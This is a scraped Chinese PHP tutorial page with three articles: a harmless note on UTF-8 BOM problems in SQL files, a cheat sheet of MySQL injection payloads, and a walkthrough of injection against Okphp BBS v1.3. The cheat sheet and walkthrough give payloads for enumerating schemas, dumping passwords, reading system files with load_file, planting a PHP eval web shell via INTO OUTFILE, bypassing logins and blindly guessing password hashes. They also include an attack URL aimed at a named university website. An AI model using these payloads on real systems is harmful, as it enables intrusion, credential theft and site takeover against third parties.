当前位置:  编程技术>php
本页文章导读:
    ▪php UTF8 文件的签名问题       也就是 有BOM 格式编码,或者 无BOM格式编码。 如果看文件的内容,是看不出任何差别的,以下列文件(schema.sqlite.sql)内容为例: schema.sqlite.sql 代码如下: CREATE TABLE guestbook ( id INTEGER NOT NULL.........
    ▪PHP+MySQL 手工注入语句大全 推荐       暴字段长度 Order by num/* 匹配字段 and 1=1 union select 1,2,3,4,5…….n/* 暴字段位置 and 1=2 union select 1,2,3,4,5…..n/* 利用内置函数暴数据库信息 version() database() user()   不用猜解可用字段暴数据库信.........
    ▪php 攻击方法之谈php+mysql注射语句构造       一.前言:   版本信息:Okphp BBS v1.3 开源版   由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单.........

[1]php UTF8 文件的签名问题
    来源: 互联网  发布时间: 2013-11-30
也就是 有BOM 格式编码,或者 无BOM格式编码。
如果看文件的内容,是看不出任何差别的,以下列文件(schema.sqlite.sql)内容为例:
schema.sqlite.sql
代码如下:

CREATE TABLE guestbook (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
email VARCHAR(32) NOT NULL DEFAULT 'noemail@test.com',
comment TEXT NULL,
created DATETIME NOT NULL
);
CREATE INDEX "id" ON "guestbook" ("id");

如果不带签名,则文件的大小为232字节,如果带签名,则文件大小为235字节。
UTF8签名有3个字节(内容为:EFBBBF),是专门用来告诉软件:该文件是UTF8编码的。
在一般情况下,有无签名不会带来问题,因为编辑器或者其他软件可以按照文本的内容来推断出是否是UTF8。
但有些时候还是会导致问题,比如上诉文件。该文件是sql语句文件,程序恰好要通过以下语句(php)来执行该sql:
代码如下:

$schemaSql = file_get_contents(dirname(__FILE__) . '/schema.sqlite.sql');
$dbAdapter->getConnection()->exec($schemaSql);

在这种情况下,带有签名的文件就会导致问题了,因为“UTF8签名用的三个字节”其实是位于文件的最前面。所以导致了上面的语句无法成功运行。
解决的办法也很简单,去掉该文件UTF8签名即可。
当然,上面文件的内容其实都是单字节的,是没有必要保存为UTF8编码的。

补充:全部是单字节内容的文件除非加了UTF8签名,不然再次打开文件时,还是系统的默认编码而已。

    
[2]PHP+MySQL 手工注入语句大全 推荐
    来源: 互联网  发布时间: 2013-11-30

暴字段长度

Order by num/*


匹配字段

and 1=1 union select 1,2,3,4,5…….n/*


暴字段位置

and 1=2 union select 1,2,3,4,5…..n/*


利用内置函数暴数据库信息

version() database() user()  

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—


猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1


暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容):

Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:1、知道站点物理路径

       2、有足够大的权限(可以用select …. from mysql.user测试)

       3、magic_quotes_gpc()=OFF

select   ‘<?php eval($_POST[cmd])?>'   into outfile ‘物理路径'

and 1=2 union all select 一句话HEX值 into outfile '路径'


load_file() 常用路径:


  1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
  3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
  4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
  5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
  6、c:/Resin-3.0.14/conf/resin.conf   查看jsp开发的网站 resin文件配置信息.
  7、c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
  8、d:\APACHE\Apache2\conf\httpd.conf
  9、C:\Program Files\mysql\my.ini
  10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
  11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
  12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
  13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
  15、 /etc/sysconfig/iptables 本看防火墙策略
  16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
  17 、/etc/my.cnf MYSQL的配置文件
  18、 /etc/redhat-release   红帽子的系统版本
  19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
  20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
  21、/usr/local/app/php5 b/php.ini //PHP相关设置
  22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
  23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  24、c:\windows\my.ini
       25、c:\boot.ini

网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))

注:

Char(60)表示 <

Char(32)表示 空格

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。


    
[3]php 攻击方法之谈php+mysql注射语句构造
    来源: 互联网  发布时间: 2013-11-30
一.前言:
  版本信息:Okphp BBS v1.3 开源版

  由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
  声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。
  二.“漏洞”分析:
  1.admin/login.php注射导致绕过身份验证漏洞:
  代码:
代码如下:

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
  $password = md5($password);
  $q = "select id,group_id from $user_table where username='$username' and password='$password'";
  $res = sql_query($q,$conn);
  $row = sql_fetch_row($res);
  $q = "select id,group_id from $user_table where username='$username' and password='$password'"中
  
$username 和 $password 没过滤, 很容易就绕过。

  对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:
  构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a
  相当于sql语句:
  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
  构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)
  即:
  select * from $user_table where username='admin'#' and password='$password'"
  相当于:
  select * from $user_table where username='admin'
  在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:
  select id,group_id from $user_table where username='admin'#' and password='$password'"
  相当于:
  select id,group_id from $user_table where username='admin'
  只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,
  我们就可以这样构造:$username=' OR id=1#
  相当于:
  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)
  我们接着往下看代码:
代码如下:

  if ($row[0]) {
  // If not admin or super moderator
  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {
  $login = 0;
  }
  else {
  $login = 1;
  }
  }
  // Fail to login---------------
  if (!$login) {
  write_log("Moderator login","0","password wrong");
  echo " ";
  exit();
  }
  // Access ! -------------
  else {
  session_start();

  最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。
  2.users/login.php注射导致绕过身份验证漏洞:
  代码:
代码如下:

  $md5password = md5($password);
  $q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'";
  $res = sql_query($q,$conn);
  $row = sql_fetch_row($res);

  $username没过滤利用同1里注释掉and password='$md5password'";

  3.admin\log\list.php存在任意删除日志记录漏洞。(ps:这个好象和php+mysql注射无关,随便提一下)
  okphp的后台好象写得很马虎,所有文件都没有判断管理员是否已经登陆,以至于任意访问。我们看list.php的代码:
代码如下:

  $arr = array("del_log","log_id","del_id");
  get_r($arr);
  //
  if ($del_log) {
  省略........
  if ($log_id) {
  foreach ($log_id as $val) {
  $q = "delete from $log_table where id='$val'";
  $res = sql_query($q,$conn);
  if ($res) {
  $i++;
  }
  }
  }
  elseif ($del_id) {
  $q = "delete from $log_table where id='$del_id'";
  $res = sql_query($q,$conn);
  }
  $tpl->setVariable("message","$i log deleted ok!");
  $tpl->setVariable("action","index.php?action=list_log");
  }

  代码就只简单的用get_r($arr);判断的提交的参数,我们只要提交相应的$del_log,$log_id,$del_id。就回删除成功。
  4.多个文件对变量没有过滤导致sql注射漏洞。
  okphp的作者好象都不喜欢过滤:)。基本上所有的sql语句中的变量都是“赤裸裸”的。具体那些文件我就不列出来了,请自己看代码,我这里就用\forums\list_threads.php为例子简单谈一下。
  看list_threads.php的代码:
代码如下:

  $q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'";
  $res = sql_query($q,$conn);
  $row = sql_fetch_row($res);

  变量$forum_id没有过滤,因为mysql不支持子查询,我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作,我们构造如下:
  构造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:
  $forum_id=' union select * from user_table into outfile '/path/file.txt'
  以下:
  $q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";
  上面的办法要求比较苛刻,必须得到web的路径(一般可以通过提交错误的变量使mysql报错而得到),而且php的magic_gpc=on选项使注入中不能出现单引号。如果magic_gpc=on我们也可以绕过:
  构造2:就象asp跨库查询一样,直接利用union select构造语句,使返回结果不同来猜解,这种方法可以绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射相对困难,根据具体的代码而定。具体的语句构造请参考pinkeyes 的文章《php注入实例》。下面我就结合okphp给个利用“返回结果不同”注射的例子:(见漏洞5)。
  5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同一个,这里单独拿出来,主要是说明语句构造的方法。)
  问题代码同漏洞1。
  语句的构造(ps:因为语句本身就是对用户库操作就没必要用union了):
  $username=admin' AND LENGTH(password)=6#
  sql语句变成:
  $q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"
  相当于:
  $q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"
  如果LENGTH(password)=6成立,则正常返回,如果不成立,mysql就会报错。
  这样我们就可以猜解用户admin密码hash了。如$username=admin' ord(substring(password,1,1))=57#
  可以猜用户的密码第一位的ascii码值............。

    
最新技术文章:
▪PHP函数microtime()时间戳的定义与用法
▪PHP单一入口之apache配置内容
▪PHP数组排序方法总结(收藏)
▪php数组排序方法大全(脚本学堂整理奉献)
▪php数组排序的几个函数(附实例)
▪php二维数组排序(实例)
▪php根据键值对二维数组排序的小例子
▪php验证码(附截图)
▪php数组长度的获取方法(三个实例)
▪php获取数组长度的方法举例
▪判断php数组维度(php数组长度)的方法
▪php获取图片的exif信息的示例代码
▪PHP 数组key长度对性能的影响实例分析
▪php函数指定默认值的方法示例
▪php提交表单到当前页面、提交表单后页面重定...
▪php四舍五入的三种实现方法
▪php获得数组长度(元素个数)的方法
▪php日期函数的简单示例代码
▪php数学函数的简单示例代码
▪php字符串函数的简单示例代码
▪php文件下载代码(多浏览器兼容、支持中文文...
▪php实现文件下载、支持中文文件名的示例代码...
▪php文件下载(防止中文文件名乱码)的示例代码
▪解决PHP文件下载时中文文件名乱码的问题
▪php数组去重(一维、二维数组去重)的简单示例
▪php小数点后取两位的三种实现方法
▪php Redis 队列服务的简单示例
▪PHP导出excel时数字变为科学计数的解决方法
▪PHP数组根据值获取Key的简单示例
▪php数组去重的函数代码示例
 


站内导航:


特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

©2012-2021,,E-mail:www_#163.com(请将#改为@)

浙ICP备11055608号-3